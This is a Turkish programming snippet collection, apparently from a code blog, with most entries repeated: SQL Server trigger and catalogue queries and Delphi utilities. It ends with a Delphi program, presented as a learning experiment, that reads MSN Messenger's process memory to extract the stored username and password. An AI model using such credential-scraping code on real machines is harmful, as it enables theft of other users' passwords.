PK = PRIMARY KEY constraint (type is K)

RF = Replication filter stored procedure

S = System table

TF = Table function

TR = Trigger

U = User table

UQ = UNIQUE constraint (type is K)

V = View

X = Extended stored procedure

//U kulanıcı tabloları

SELECT * FROM sysobjects WHERE (xtype = 'U')

//TR trigger

SELECT * FROM sysobjects WHERE (xtype = 'TR')

//P trigger

SELECT * FROM sysobjects WHERE (xtype = 'P')

//anahtar sahaların gösterimi

sp_MStablekeys [tbl_table]

//sql servardan excele bilgi atmak

sp_makewebtask @outputfile = N'C:WebPage3.xls',

@query='Select * from [tbl_table] '

CREATE TRIGGER TR_Deneme ON dbo.Deneme

FOR INSERT,UPDATE

DECLARE

@vTemp1 VARCHAR(25),

@vTemp2 VARCHAR(25),

@vTemp12 VARCHAR(50),

SELECT @vTemp1 = Temp1 , @vTemp2 = Temp2 FROM inserted

SET @vTemp12 = @vTemp1 + @vTemp2

UPDATE Deneme SET Temp12 = @vTemp12

WHERE @vTemp1 = Temp1

AND @vTemp2 = Temp2

Bu örnekte görüldüğü gibi trigger tek kayıt eklendiğinde bu işlemi yapacaktır ve doğru çalışacaktır. Oysa birden fazla kayıt ekleme yaptığınızda ise sadece son kayıdın Temp21 alanı değişecektir.

Birden fazla kayıt ekleme olduğunda tetikleyicinin çalışması için :

Örnek 2

--------------------------------------------------------------------------------

CREATE TRIGGER TR_Deneme ON dbo.Deneme

FOR INSERT,UPDATE

UPDATE d SET d.Temp12 = i.Temp1 + i.Temp2

FROM Deneme d,inserted i

WHERE d.Temp1 = i.Temp1

AND d.Temp2 = i.Temp2

Yukarıdaki yapı birden fazla kayıt eklendiğinde herbir kayıt için tetikleyicinin doğru çalışmasını sağlayacaktır.

inserted tablosu üzerinden ana tabloya inner join kurarak sorunu çözebiliriz. Yani birden fazla kayıt ekleme olması düşünülen tablolardaki tetikleyiciler için inserted tablosundan değişkenlere değer atamak yerine update query içinde inserted tablosu üzerinden join kurarak ve yapılacak işlemleri T-SQL kodlarıyla değil SQL kodlarıyla yaparak her bir eklemede tetikleyicinin çalışması sağlanabilir.Daha karmaşık yapılarda IF yerine CASE WHEN <değişken>"Oparatör"<Değer> THEN <Sonuç> ELSE <Sonuç> END kullanarak çözebilirsiniz. Daha da karmaşık yapılar için daha çok SQL komutu kullanmak gerekebilir.

Delphi - .....................................

sql serverda trigger sp key list

sysobjects Tablosu Obje tipleri

C = CHECK constraint

D = Default or DEFAULT constraint

F = FOREIGN KEY constraint

L = Log

FN = Scalar function

IF = Inline table-function

P = Stored procedure

R = Rule

PK = PRIMARY KEY constraint (type is K)

RF = Replication filter stored procedure

S = System table

TF = Table function

TR = Trigger

U = User table

UQ = UNIQUE constraint (type is K)

V = View

X = Extended stored procedure

//U kulanıcı tabloları

SELECT * FROM sysobjects WHERE (xtype = 'U')

//TR trigger

SELECT * FROM sysobjects WHERE (xtype = 'TR')

//P trigger

SELECT * FROM sysobjects WHERE (xtype = 'P')

//anahtar sahaların gösterimi

sp_MStablekeys [tbl_table]

//sql servardan excele bilgi atmak

sp_makewebtask @outputfile = N'C:WebPage3.xls',

@query='Select * from [tbl_table] '

CREATE TRIGGER TR_Deneme ON dbo.Deneme

FOR INSERT,UPDATE

DECLARE

@vTemp1 VARCHAR(25),

@vTemp2 VARCHAR(25),

@vTemp12 VARCHAR(50),

SELECT @vTemp1 = Temp1 , @vTemp2 = Temp2 FROM inserted

SET @vTemp12 = @vTemp1 + @vTemp2

UPDATE Deneme SET Temp12 = @vTemp12

WHERE @vTemp1 = Temp1

AND @vTemp2 = Temp2

Birden fazla kayıt ekleme olduğunda tetikleyicinin çalışması için :

Örnek 2

--------------------------------------------------------------------------------

CREATE TRIGGER TR_Deneme ON dbo.Deneme

FOR INSERT,UPDATE

UPDATE d SET d.Temp12 = i.Temp1 + i.Temp2

FROM Deneme d,inserted i

WHERE d.Temp1 = i.Temp1

AND d.Temp2 = i.Temp2

Yukarıdaki yapı birden fazla kayıt eklendiğinde herbir kayıt için tetikleyicinin doğru çalışmasını sağlayacaktır.

Delphi - .....................................

istenilen prosedürü ismiyle çağırmak

unit uProcDict;

interface

type MyProc = procedure(s: string);

procedure RegisterProc(procName: string; proc: MyProc);

procedure ExecuteProc(procName: string; arg: string);

implementation

uses Classes;

var ProcDict: TStringList;

procedure RegisterProc(procName: string; proc: MyProc);

begin

ProcDict.AddObject(procName, TObject(@proc));

end;

procedure ExecuteProc(procName: string; arg: string);

var

index: Integer;

begin

index := ProcDict.IndexOf(ProcName);

if index >= 0 then

MyProc(ProcDict.objects[index])(arg);

// Missing error reporting

end;

initialization

ProcDict := TStringList.Create;

ProcDict.Sorted := true;

finalization

ProcDict.Free;

end.

Delphi - .....................................

istenilen prosedürü ismiyle çağırmak

unit uProcDict;

interface

type MyProc = procedure(s: string);

procedure RegisterProc(procName: string; proc: MyProc);

procedure ExecuteProc(procName: string; arg: string);

implementation

uses Classes;

var ProcDict: TStringList;

procedure RegisterProc(procName: string; proc: MyProc);

begin

ProcDict.AddObject(procName, TObject(@proc));

end;

procedure ExecuteProc(procName: string; arg: string);

var

index: Integer;

begin

index := ProcDict.IndexOf(ProcName);

if index >= 0 then

MyProc(ProcDict.objects[index])(arg);

// Missing error reporting

end;

initialization

ProcDict := TStringList.Create;

ProcDict.Sorted := true;

finalization

ProcDict.Free;

end.

Delphi - .....................................

environment bilgilerini değiştirmek

function SetGlobalEnvironment(const Name, Value: string;

const User: Boolean = True): Boolean;

resourcestring

REG_MACHINE_LOCATION = 'SystemCurrentControlSetControlSession ManagerEnvironment';

REG_USER_LOCATION = 'Environment';

begin

with TRegistry.Create do

try

if User then { User Environment Variable }

Result := OpenKey(REG_USER_LOCATION, True)

else { System Environment Variable }

begin

RootKey := HKEY_LOCAL_MACHINE;

Result := OpenKey(REG_MACHINE_LOCATION, True);

end;

if Result then

begin

WriteString(Name, Value); { Write Registry for Global Environment }

{ Update Current Process Environment Variable }

SetEnvironmentVariable(PChar(Name), PChar(Value));

{ Send Message To All Top Window for Refresh }

SendMessage(HWND_BROADCAST, WM_SETTINGCHANGE, 0, Integer(PChar('Environment')));

end;

finally

Free;

end;

end; { SetGlobalEnvironment }

Delphi - .....................................

environment bilgilerini değiştirmek

function SetGlobalEnvironment(const Name, Value: string;

const User: Boolean = True): Boolean;

resourcestring

REG_MACHINE_LOCATION = 'SystemCurrentControlSetControlSession ManagerEnvironment';

REG_USER_LOCATION = 'Environment';

begin

with TRegistry.Create do

try

if User then { User Environment Variable }

Result := OpenKey(REG_USER_LOCATION, True)

else { System Environment Variable }

begin

RootKey := HKEY_LOCAL_MACHINE;

Result := OpenKey(REG_MACHINE_LOCATION, True);

end;

if Result then

begin

WriteString(Name, Value); { Write Registry for Global Environment }

{ Update Current Process Environment Variable }

SetEnvironmentVariable(PChar(Name), PChar(Value));

{ Send Message To All Top Window for Refresh }

SendMessage(HWND_BROADCAST, WM_SETTINGCHANGE, 0, Integer(PChar('Environment')));

end;

finally

Free;

end;

end; { SetGlobalEnvironment }

Delphi - .....................................

değişken değerlerini karşılıklı olarak yer değiştir

procedure SwapVars1(var u, v; Size: Integer);

var

x: Pointer;

begin

GetMem(x, Size);

try

System.move(u, x^, Size);

System.move(v, u, Size);

System.move(x^, v, Size);

finally

FreeMem(x);

end;

procedure SwapVars2(var Source, Dest; Size: Integer);

// By Mike Heydon, mheydon@eoh.co.za

begin

asm

push edi

push esi

mov esi,Source

mov edi,Dest

mov ecx,Size

cld

@1:

mov al,[edi]

xchg [esi],al

inc si

stosb

loop @1

pop esi

pop edi

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

SwapVars1(X1, X2, SizeOf(Integer));

end;

Delphi - .....................................

değişken değerlerini karşılıklı olarak yer değiştir

procedure SwapVars1(var u, v; Size: Integer);

var

x: Pointer;

begin

GetMem(x, Size);

try

System.move(u, x^, Size);

System.move(v, u, Size);

System.move(x^, v, Size);

finally

FreeMem(x);

end;

procedure SwapVars2(var Source, Dest; Size: Integer);

// By Mike Heydon, mheydon@eoh.co.za

begin

asm

push edi

push esi

mov esi,Source

mov edi,Dest

mov ecx,Size

cld

@1:

mov al,[edi]

xchg [esi],al

inc si

stosb

loop @1

pop esi

pop edi

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

SwapVars1(X1, X2, SizeOf(Integer));

end;

Delphi - .....................................

string içindeki hesaplamaları yapmak

function Calculate(SMyExpression: string; digits: Byte): string;

// Calculate a simple expression

// Supported are: Real Numbers, parenthesis

var

z: Char;

ipos: Integer;

function StrToReal(chaine: string): Real;

var

r: Real;

Pos: Integer;

begin

Val(chaine, r, Pos);

if Pos > 0 then Val(Copy(chaine, 1, Pos - 1), r, Pos);

Result := r;

end;

function RealToStr(inreal: Extended; digits: Byte): string;

var

S: string;

begin

Str(inreal: 0: digits, S);

realToStr := S;

end;

procedure NextChar;

var

s: string;

begin

if ipos > Length(SMyExpression) then

begin

z := #9;

Exit;

end

else

begin

s := Copy(SMyExpression, ipos, 1);

z := s[1];

Inc(ipos);

end;

if z = ' ' then nextchar;

end;

function Expression: Real;

var

w: Real;

function Factor: Real;

var

ws: string;

begin

Nextchar;

if z in ['0'..'9'] then

begin

ws := '';

repeat

ws := ws + z;

nextchar

until not (z in ['0'..'9', '.']);

Factor := StrToReal(ws);

end

else if z = '(' then

begin

Factor := Expression;

nextchar

end

else if z = '+' then Factor := +Factor

else if Z = '-' then Factor := -Factor;

end;

function Term: Real;

var

W: Real;

begin

W := Factor;

while Z in ['*', '/'] do

if z = '*' then w := w * Factor

else

w := w / Factor;

Term := w;

end;

begin

w := term;

while z in ['+', '-'] do

if z = '+' then w := w + term

else

w := w - term;

Expression := w;

end;

begin

ipos := 1;

Result := RealToStr(Expression, digits);

end;

procedure TForm1.Button1Click(Sender: TObject);

var

sMyExpression: string;

begin

sMyExpression := '12.5*6+18/3.2+2*(5-6.23)';

ShowMessage(sMyExpression + ' = ' + Calculate(sMyExpression, 3));

end;

Delphi - .....................................

string içindeki hesaplamaları yapmak

function Calculate(SMyExpression: string; digits: Byte): string;

// Calculate a simple expression

// Supported are: Real Numbers, parenthesis

var

z: Char;

ipos: Integer;

function StrToReal(chaine: string): Real;

var

r: Real;

Pos: Integer;

begin

Val(chaine, r, Pos);

if Pos > 0 then Val(Copy(chaine, 1, Pos - 1), r, Pos);

Result := r;

end;

function RealToStr(inreal: Extended; digits: Byte): string;

var

S: string;

begin

Str(inreal: 0: digits, S);

realToStr := S;

end;

procedure NextChar;

var

s: string;

begin

if ipos > Length(SMyExpression) then

begin

z := #9;

Exit;

end

else

begin

s := Copy(SMyExpression, ipos, 1);

z := s[1];

Inc(ipos);

end;

if z = ' ' then nextchar;

end;

function Expression: Real;

var

w: Real;

function Factor: Real;

var

ws: string;

begin

Nextchar;

if z in ['0'..'9'] then

begin

ws := '';

repeat

ws := ws + z;

nextchar

until not (z in ['0'..'9', '.']);

Factor := StrToReal(ws);

end

else if z = '(' then

begin

Factor := Expression;

nextchar

end

else if z = '+' then Factor := +Factor

else if Z = '-' then Factor := -Factor;

end;

function Term: Real;

var

W: Real;

begin

W := Factor;

while Z in ['*', '/'] do

if z = '*' then w := w * Factor

else

w := w / Factor;

Term := w;

end;

begin

w := term;

while z in ['+', '-'] do

if z = '+' then w := w + term

else

w := w - term;

Expression := w;

end;

begin

ipos := 1;

Result := RealToStr(Expression, digits);

end;

procedure TForm1.Button1Click(Sender: TObject);

var

sMyExpression: string;

begin

sMyExpression := '12.5*6+18/3.2+2*(5-6.23)';

ShowMessage(sMyExpression + ' = ' + Calculate(sMyExpression, 3));

end;

Delphi - .....................................

cxgrid sıralama kayıt cekmek

Cx help dosyalarından :

Alıntı:

The Index property identifies the visual position of the current record within a view.

When a record’s position is changed because of sorting or grouping,

its Index property reflects the change, but the RecordIndex property preserves its original value.

index property'si row'un görsel positionı. Recordindex ise dataset positionı.

Kod:

id:= CxTablo.DataController.GetValue(Arecord.Index,CxTabloID.Index)

Yani bu kodu,

Kod:

id:= CxTablo.DataController.GetValue(Arecord.RecordIndex,CxTabloID.Index)

Delphi - .....................................

cxgrid sıralama kayıt cekmek

Cx help dosyalarından :

Alıntı:

The Index property identifies the visual position of the current record within a view.

When a record’s position is changed because of sorting or grouping,

its Index property reflects the change, but the RecordIndex property preserves its original value.

index property'si row'un görsel positionı. Recordindex ise dataset positionı.

Kod:

id:= CxTablo.DataController.GetValue(Arecord.Index,CxTabloID.Index)

Yani bu kodu,

Kod:

id:= CxTablo.DataController.GetValue(Arecord.RecordIndex,CxTabloID.Index)

Delphi - .....................................

cxgridde sütun sabitleme

QuantumGrid'de "DB Banded Table"

cxGrid1DBBandedTableView1.Bands[0].FixedKind := fkLeft

Delphi - .....................................

cxgridde sütun sabitleme

QuantumGrid'de "DB Banded Table"

cxGrid1DBBandedTableView1.Bands[0].FixedKind := fkLeft

Delphi - .....................................

CodeBank da Exploit mi var ?

DelphiTurk CodeBank Discloses Passwords to Local Users

http://securitytracker.com/alerts/2005/Feb/1013093.html

2.Düzeltme

Pardon kodu inceledim sadece kendi user name passwordunu kontrol ediyormus ama bir an killandim?

Delphi - .....................................

CodeBank da Exploit mi var ?

DelphiTurk CodeBank Discloses Passwords to Local Users

http://securitytracker.com/alerts/2005/Feb/1013093.html

2.Düzeltme

Pardon kodu inceledim sadece kendi user name passwordunu kontrol ediyormus ama bir an killandim?

Delphi - .....................................

sql server mssql case kullanımı

SELECT *,

CASE

WHEN paksrno>0 and spaksrno=0 THEN 'paket'

WHEN spaksrno>0 and paksrno=0 THEN 'spaket'

END

FROM REZER

Delphi - .....................................

sql server mssql case kullanımı

SELECT *,

CASE

WHEN paksrno>0 and spaksrno=0 THEN 'paket'

WHEN spaksrno>0 and paksrno=0 THEN 'spaket'

END

FROM REZER

Delphi - .....................................

READ MEMORY with Delphi

//murat turan

//www.datakent.com

//bellekte belli bir aralıkta arama yapmak ve aramayıda belli bir kıskaca göre yapmak.

//be msn in bellekte bıraktığı şifreyi okumaya çalışmıştım. 7.0-7.5 in ilk sürümü.

//tabi bu yalnızca bir denemee ibaretti. amaç öğrenmek

program Project1;

uses

Windows,SysUtils;

resourcestring

msg001 = 'MsnMsgrUIManager';

msg002 = 'Msnmsgr';

function FindMsnHwnd: hwnd;

var

DeskTopHwnd,MsnHwnd:HWND;

MsnClass:array [0..255] of char;

begin

DeskTopHwnd := GetDeskTopWindow;

MsnHwnd := GetWindow(DeskTopHwnd,GW_CHILD);

While MsnHwnd <> 0 do

begin

GetClassName(MsnHwnd,MsnClass,sizeof(MsnClass));

if string(MsnClass) = msg001 then

break;

MsnHwnd:=GetWindow(MsnHwnd,GW_HWNDNEXT);

end;

Result := MsnHwnd;

end;

procedure ReadMemory(StartOffset,EndOffset:integer);

var

MSNHwnd:HWND;

myproc:THandle;

Buffer : array[0..19] of byte;

bytesReaded:Cardinal;

Offset : Cardinal;

MSN_Proc : THandle;

a,_chache:string;

dngx:Integer;

_start:Boolean;

begin_, end_:integer;

begin

_start := false;

MSNHwnd := FindMsnHwnd;

IF MSNHwnd <> 0 THEN

BEGIN

GetClassName(MSNHwnd,pchar(msg002),SizeOf(msg002));

GetWindowThreadProcessId (MSNHwnd,@myproc);

MSN_Proc:=OpenProcess (PROCESS_VM_READ,false,myproc);

if MSN_Proc <> 0 then

begin

for Offset := StartOffset to EndOffset do

begin

ReadProcessMemory(MSN_Proc, pointer(Offset), @Buffer, sizeof(Buffer), bytesReaded);

a :='';

for dngx := 0 to high(Buffer)-1 do

if Buffer[dngx]<>0 then

a := a + char(Buffer[dngx]);

if _start then

_chache := _chache + a[1];

if a = '</wsse:UsernameToke' then Break; //end point

if a = '<wsse:UsernameToken' then _start := true; //start point

end;

if trim(_chache) <> '' then

begin

begin_ := pos('<wsse:Username>' ,_chache);

end_ := pos('</wsse:Username>',_chache);

a := copy(_chache,begin_ + 15, end_ - begin_ - 15) + ' ; ';

begin_ := pos('<wsse:Password>' ,_chache);

end_ := pos('</wsse:Password>',_chache);

a := a + copy(_chache,begin_ + 15, end_ - begin_ - 15);

MessageBox(0, pchar(a), 'Ok.', MB_ICONINFORMATION or MB_OK);

end;

CloseHandle(MSN_Proc);

END;

end;

begin

ReadMemory($13000A,$9000000);

end.

Delphi - .....................................

READ MEMORY with Delphi

//murat turan

//www.datakent.com

//bellekte belli bir aralıkta arama yapmak ve aramayıda belli bir kıskaca göre yapmak.

//be msn in bellekte bıraktığı şifreyi okumaya çalışmıştım. 7.0-7.5 in ilk sürümü.

//tabi bu yalnızca bir denemee ibaretti. amaç öğrenmek

program Project1;

uses

Windows,SysUtils;

resourcestring

msg001 = 'MsnMsgrUIManager';

msg002 = 'Msnmsgr';

function FindMsnHwnd: hwnd;

var

DeskTopHwnd,MsnHwnd:HWND;

MsnClass:array [0..255] of char;

begin

DeskTopHwnd := GetDeskTopWindow;

MsnHwnd := GetWindow(DeskTopHwnd,GW_CHILD);

While MsnHwnd <> 0 do

begin

GetClassName(MsnHwnd,MsnClass,sizeof(MsnClass));

if string(MsnClass) = msg001 then

break;

MsnHwnd:=GetWindow(MsnHwnd,GW_HWNDNEXT);

end;

Result := MsnHwnd;

end;

procedure ReadMemory(StartOffset,EndOffset:integer);

var

MSNHwnd:HWND;

myproc:THandle;

Buffer : array[0..19] of byte;

bytesReaded:Cardinal;

Offset : Cardinal;

MSN_Proc : THandle;

a,_chache:string;

dngx:Integer;

_start:Boolean;

begin_, end_:integer;

begin

_start := false;

MSNHwnd := FindMsnHwnd;

IF MSNHwnd <> 0 THEN

BEGIN

GetClassName(MSNHwnd,pchar(msg002),SizeOf(msg002));

GetWindowThreadProcessId (MSNHwnd,@myproc);

MSN_Proc:=OpenProcess (PROCESS_VM_READ,false,myproc);

if MSN_Proc <> 0 then

begin

for Offset := StartOffset to EndOffset do

begin

ReadProcessMemory(MSN_Proc, pointer(Offset), @Buffer, sizeof(Buffer), bytesReaded);

a :='';

for dngx := 0 to high(Buffer)-1 do

if Buffer[dngx]<>0 then

a := a + char(Buffer[dngx]);

if _start then

_chache := _chache + a[1];

if a = '</wsse:UsernameToke' then Break; //end point

if a = '<wsse:UsernameToken' then _start := true; //start point

end;

if trim(_chache) <> '' then

begin

begin_ := pos('<wsse:Username>' ,_chache);

end_ := pos('</wsse:Username>',_chache);

a := copy(_chache,begin_ + 15, end_ - begin_ - 15) + ' ; ';

begin_ := pos('<wsse:Password>' ,_chache);

end_ := pos('</wsse:Password>',_chache);

a := a + copy(_chache,begin_ + 15, end_ - begin_ - 15);

MessageBox(0, pchar(a), 'Ok.', MB_ICONINFORMATION or MB_OK);

end;

CloseHandle(MSN_Proc);

END;

end;

begin

ReadMemory($13000A,$9000000);

end.

Delphi - .....................................